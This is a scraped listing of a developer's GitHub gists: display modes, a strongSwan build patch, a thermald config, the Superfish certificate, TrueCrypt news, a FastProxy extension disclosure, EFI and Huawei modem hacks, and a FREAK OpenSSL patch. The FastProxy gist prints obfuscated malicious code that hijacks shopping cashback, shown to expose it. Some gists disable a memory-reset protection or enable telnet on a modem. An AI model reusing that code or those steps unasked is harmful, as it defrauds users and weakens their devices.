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View gist:175f0f89d40b8689c0eb
% xrandr --newmode "3840x2160x49.98" 442.000000 3840 3888 3920 4000 2160 2163 2167 2211 +HSync -VSync
% xrandr --addmode DP1 "3840x2160x49.98"
% xrandr --output DP1 --mode "3840x2160x49.98"
@ValdikSS
ValdikSS / debian-rules-strongswan-enable-xauth-noauth-and-kernel-libipsec.patch
Last active Dec 9, 2015
Debian Jessie strongSwan 5.2.1 enable kernel-libipsec and xauth-noauth
View debian-rules-strongswan-enable-xauth-noauth-and-kernel-libipsec.patch
--- strongswan-5.2.1/debian/rules 2014-10-27 14:36:53.659872404 +0300
+++ strongswan-5.2.1/debian/rules 2014-10-27 15:10:07.003054721 +0300
@@ -15,7 +15,7 @@
--enable-ha \
--enable-led --enable-gcrypt \
--enable-test-vectors \
- --enable-xauth-eap --enable-xauth-pam \
+ --enable-xauth-eap --enable-xauth-pam --enable-xauth-noauth \
--enable-cmd \
--enable-certexpire \
@ValdikSS
ValdikSS / gist:d896cebd8e1aafc65b4b
Created Jul 19, 2014
thermald config for x220
View gist:d896cebd8e1aafc65b4b
<?xml version="1.0"?>
<!--
use "man thermal-conf.xml" for details
-->
<!-- BEGIN -->
<ThermalConfiguration>
<Platform>
<Name>Lenovo ThinkPad X220</Name>
<ProductName>*</ProductName>
<Preference>QUIET</Preference>
View gist:beab7346f9c9592f6d33
-----BEGIN CERTIFICATE-----
MIIC9TCCAl6gAwIBAgIJANL8E4epRNznMA0GCSqGSIb3DQEBBQUAMFsxGDAWBgNV
BAoTD1N1cGVyZmlzaCwgSW5jLjELMAkGA1UEBxMCU0YxCzAJBgNVBAgTAkNBMQsw
CQYDVQQGEwJVUzEYMBYGA1UEAxMPU3VwZXJmaXNoLCBJbmMuMB4XDTE0MDUxMjE2
MjUyNloXDTM0MDUwNzE2MjUyNlowWzEYMBYGA1UEChMPU3VwZXJmaXNoLCBJbmMu
MQswCQYDVQQHEwJTRjELMAkGA1UECBMCQ0ExCzAJBgNVBAYTAlVTMRgwFgYDVQQD
Ew9TdXBlcmZpc2gsIEluYy4wgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBAOjz
Shh2Xxk/sc9Y6X9DBwmVgDXFD/5xMSeBmRImIKXfj2r8QlU57gk4idngNsSsAYJb
1Tnm+Y8HiN/+7vahFM6pdEXY/fAXVyqC4XouEpNarIrXFWPRt5tVgA9YvBxJ7SBi
3bZMpTrrHD2g/3pxptMQeDOuS8Ic/ZJKocPnQaQtAgMBAAGjgcAwgb0wDAYDVR0T
View gist:c13a82ca4a2d8b7e87ff
  • Developers have responded:

https://www.grc.com/misc/truecrypt/truecrypt.htm | https://twitter.com/stevebarnhart/status/472192457145597952

Steven Barnhart (@stevebarnhart) wrote to an eMail address he had used before and received several replies from “David.” The following snippets were taken from a twitter conversation which then took place between Steven Barnhart (@stevebarnhart) and Matthew Green (@matthew_d_green):

TrueCrypt Developer “David”: “We were happy with the audit, it didn't spark anything. We worked hard on this for 10 years, nothing lasts forever.”

Steven Barnhart: (Paraphrasing) Developer “personally” feels that fork is harmful: “The source is still available as a reference though.”

View gist:1f1c71d6eead35a33a57099c26923bee
Браузерное расширение FastProxy загружает с сервера вредоносный код,
перенаправляющий cashback от различных интернет-магазинов автору расширения.
Обфусцированный код:
$guNnnrhIFAMI27BsMFv=function(a){return"string"==typeof $guNnnrhIFAMI27BsMFv.list[a]?$guNnnrhIFAMI27BsMFv.list[a].split("").reverse().join(""):$guNnnrhIFAMI27BsMFv.list[a]},$guNnnrhIFAMI27BsMFv.list=["of\xE6\xFBiht\xFBlru?lxp\xFBepyt\x04u\xDFv?di_txe?re\xECh?htgnel?rekram?\xB7\x04cna\xE6f?urdj\x04man?omorpi\xDF?g\xE6kc\xF4b?tnemucod?urdj\xAB\xD0l\xABapc\xFB\xECl?\xBFH\xC3?g\xE6r\xD1bus?ofnIegnahc?\xEB\x04doNtnerap?\x0FTtes?fOxednI\xD1al\x04saCrewoLot\x04tadpu?\xF4\xC8c\xAB\xC1\xDE\xABaz\x03\xAB\x0FTraelc?\x7Far\xD1ig","\xAEX\xAD*' [:_a\x1F{\xBCV(2\xCD\xF3T\xD4\x1F}\xC9)0005\xBC}\xA6V(\xD3\xDB\xCD\xA63(va\xBE\x06\x1F ;)1\xBCi(ec\x1CT\xA5's\x7Fpo-\xC0-x\xF2Va\xD6(\xE8T\xCAVa\xE7=>i ;1-U\xB5T=\x0E1a\xCAT\xD8\xA51\x17V C\xA5( P\xDD\xC9}\xA3\x1F}\xA6a\xB2Z\xA9Z\xC2Sa-8<Sa-8\xB0x\xB2pa\xA9pa\xC28-\xDE<8-\xDE\xB0d\xB24\xA94\xC2Ra-mh<Ra-mh\xB0
@ValdikSS
ValdikSS / disable-reset-attack-mitigation.service
Last active Feb 14, 2020
Disable Reset Attack Mitigation (Fedora 27)
View disable-reset-attack-mitigation.service
[Unit]
Description=Disable Reset Attack Mitigation
[Service]
Type=oneshot
ExecStart=/usr/bin/chattr -i /sys/firmware/efi/efivars/MemoryOverwriteRequestControl-e20939be-32d4-41be-a150-897f85d49829
ExecStop=/bin/bash -c 'echo -ne "\x07\x00\x00\x00\x00" > /sys/firmware/efi/efivars/MemoryOverwriteRequestControl-e20939be-32d4-41be-a150-897f85d49829'
RemainAfterExit=yes
[Install]
@ValdikSS
ValdikSS / huawei-e5885-backup.md
Last active Mar 25, 2020
How to backup current firmware on Huawei E5885
View huawei-e5885-backup.md

Huawei E5885 current firmware backup manual.

  1. Download modified usbloader, which will copy proper busybox into /system/busybox and enable telnetd on your device (will add additional line into /system/autorun.sh). Use it only on E5885, not on other device!
  2. Load it using balong-usbdload. Refer to this disassembling manual.
  3. After loading, wait about one minute, disconnect device from the computer and power off the device holding power button for ~15 seconds.
  4. Insert MicroSD card to the device and power it on.
  5. telnet 192.168.8.1 2323
/system/busybox sh
@ValdikSS
ValdikSS / donotasktoask_ru.md
Last active Apr 23, 2020
Спрашивайте сразу
View donotasktoask_ru.md

Вам отправили это сообщение по следующим возможным причинам:

  • Вы поприветствовались и ждете ответа
  • Вы спросили о том, можно ли задать вопрос, и ждете ответа
  • Вы скинули запрос авторизации и ждете ответа

Пожалуйста, не делайте так. Задавайте вопрос сразу, без прелюдий, без запросов авторизации (в том числе и в Jabber), и ждите ответа. Не повторяйте свой вопрос и не спрашивайте, на месте ли я.

Здесь комментарии не пишите, уведомление о них не приходит ни мне, ни вам.

Если вам интересно получить развернутый ответ и аргументы, почему не стоить здороваться и ожидать ответа при общении онлайн:

@ValdikSS
ValdikSS / freak-rsa-keylife.md
Last active May 1, 2020
FREAK RSA 512 Keylife
View freak-rsa-keylife.md

Temporary RSA 512 Bit Keylife for FREAK attack

So I've patched OpenSSL's s_client a bit to print temporary RSA 512 public key used for EXPORT cipher

--- 1/apps/s_cb.c 2015-03-04 17:17:28.349494504 +0300
+++ 2/apps/s_cb.c 2015-03-04 17:17:30.452827799 +0300
@@ -507,6 +507,7 @@
     switch (EVP_PKEY_id(key)) {
     case EVP_PKEY_RSA:
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